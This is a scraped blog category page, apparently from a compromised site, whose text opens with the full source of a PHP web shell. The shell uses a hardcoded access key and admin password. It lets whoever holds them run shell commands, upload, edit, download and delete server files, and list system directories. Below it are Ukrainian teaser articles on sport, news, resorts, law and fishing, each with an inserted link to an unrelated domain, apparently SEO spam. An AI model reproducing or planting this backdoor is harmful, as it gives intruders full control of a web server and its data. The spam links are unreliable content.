if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 31 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Найкращі стадіони УПЛ для фанатів з комфортом і враженнями

    Відчуйте справжній дух змагань на деяких з найзручніших арен, пропонуючих відчуття комфорту та затишку. Один з таких прикладів – стадіон «Металіст» у Харкові, відомий своєю сучасною інфраструктурою та чудовими умовами для глядачів. Широкі проходи, https://asport.com.ua/ зручні сидіння та близькість до поля роблять перебування тут незабутнім. Але не варто забувати про «Дніпро-Арена» у Дніпрі. Ця арена…

    Click or not…

  • Кросфіт для бігунів: покращення витривалості та сили

    Кросфіт – це популярний вид тренувань, який об’єднує елементи силових і аеробних вправ, що дозволяє досягти високої фізичної підготовки за короткий час. Для бігунів, sportonline.net.ua які прагнуть покращити свої результати, кросфіт може стати незамінним інструментом. У цьому звіті ми розглянемо, як кросфіт може допомогти бігунам підвищити витривалість та силу, а також надамо рекомендації щодо його…

    Click or not…

  • Швидкі новини: переваги оперативності та риски помилок

    У сучасному світі інформація розповсюджується з неймовірною швидкістю. Швидкі новини, які з’являються в режимі реального часу, стали важливою частиною нашого повсякденного життя. Однак, разом із перевагами оперативності, існують і ризики, пов’язані з помилками, які можуть мати серйозні наслідки. У цьому звіті ми розглянемо основні переваги швидких новин, https://journaljournal.net.ua а також потенційні ризики, що виникають у…

    Click or not…

  • Морські курорти України: де відпочити цього літа

    Літо в Україні – це час відпусток, сонця та відпочинку на морі. Країна має багатий вибір морських курортів, які пропонують різноманітні умови для відпочинку, розваг та оздоровлення. У цій статті ми розглянемо найпопулярніші морські курорти України, in.ua де можна провести незабутній літній відпочинок. Почнемо з Одеси – одного з найвідоміших курортів країни. Це місто славиться…

    Click or not…

  • Трудові спори: тенденції та судові рішення 2026 року

    У 2026 році трудові спори в Україні продовжують залишатися важливою темою для обговорення, оскільки вони відображають зміни в трудовому законодавстві, lawreview.com.ua економічних умовах та соціальних тенденціях. Цей звіт висвітлює основні тенденції та ключові судові рішення, які вплинули на розвиток трудових відносин у країні. По-перше, варто зазначити, що в 2026 році спостерігається зростання кількості трудових спорів,…

    Click or not…

  • Майбутнє новин: штучний інтелект та автоматизація в медіа

    У сучасному світі медіа, де інформація поширюється миттєво, роль штучного інтелекту (ШІ) та автоматизації стає все більш важливою. З розвитком технологій, newsspace.com.ua новинні організації починають інтегрувати ці інновації у свої процеси, що суттєво змінює спосіб, яким ми споживаємо новини. По-перше, ШІ дозволяє автоматизувати процеси збору та обробки інформації. Наприклад, алгоритми можуть аналізувати великі обсяги даних…

    Click or not…

  • Рибалка на річці Дніпро: найкращі місця та сезони

    Річка Дніпро, https://fishingexpert.net.ua одна з найбільших рік України, славиться своєю різноманітністю рибних видів та мальовничими пейзажами. Рибалка на Дніпрі є популярним заняттям серед місцевих жителів та туристів, адже тут можна знайти як спокійні місця для відпочинку, так і активні ділянки для спортивної риболовлі. У цьому звіті розглянемо найкращі місця для риболовлі на Дніпрі, а також…

    Click or not…

  • Як правильно вибрати зимовий одяг для бігу на свіжому повітрі

    Рекомендується шукати багатошарові комплекти, оскільки вони дозволяють регулювати температуру тіла під час активності. Перший шар має бути виготовлений із синтетичних матеріалів, які відводять вологу, https://fitguide.in.ua/ а не натуральних волокон, які утримують вологу і сприяють втраті тепла. Другий шар може складатися з fleece матеріалів для утеплення, а третій шар повинен бути водонепроникним та вітростійким. Увагу слід…

    Click or not…

  • Експертне інтерв’ю: підготовка, техніка та обробка

    Експертне інтерв’ю є важливим інструментом в соціальних науках, reportjournal.net.ua бізнесі та інших сферах, що дозволяє отримати глибоке розуміння певних тем або проблем. Цей вид інтерв’ю передбачає спілкування з фахівцями, які мають значний досвід або знання в конкретній області. У цій статті ми розглянемо підготовку до експертного інтерв’ю, техніку його проведення та обробку отриманих даних. Підготовка…

    Click or not…

  • Міграційне право: отримання ВНЖ та громадянства України

    Міграційне право України регулює питання, пов’язані з перебуванням іноземців на території країни, https://tripjournal.in.ua/ а також порядок отримання ними посвідки на проживання (ВНЖ) та громадянства. Це право є важливим аспектом українського законодавства, оскільки воно забезпечує правову основу для інтеграції іноземців у суспільство та економіку України. Отримання ВНЖ в Україні є першим кроком для іноземців, які планують…

    Click or not…